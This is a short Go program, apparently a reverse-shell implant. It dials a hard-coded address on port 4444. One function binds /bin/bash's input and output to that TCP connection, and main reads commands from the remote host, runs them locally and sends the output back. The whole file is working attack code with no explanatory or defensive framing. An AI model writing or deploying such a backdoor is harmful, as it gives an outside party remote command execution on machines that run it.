package main import ( "net" "os/exec" "strings" ) type ReverseAddr struct { reverAddr string } func CreateAddr() *ReverseAddr { return &ReverseAddr { reverAddr: "192.168.2.10:4444", } } func (ra ReverseAddr) CreateRever() { conn, err := net.Dial("tcp", ra.reverAddr) if err != nil { return } cmd := exec.Command("/bin/bash") cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn cmd.Run() } func (ra ReverseAddr) GetInstructions() { conn, err := net.Dial("tcp", ra.reverAddr) if err != nil { return } buf := make([]byte,1024) n, err := conn.Read(buf) if err != nil { return } data := string(buf[:n]) mensaje := strings.TrimSpace(data) partes := strings.Split(mensaje," ") comando := partes[0] argumentos := partes[1:] cmd := exec.Command(comando, argumentos...) output, err := cmd.Output() if err != nil { return } _, err = conn.Write(output) if err != nil { return } conn.Close() } func main() { myaddr := CreateAddr() myaddr.GetInstructions() }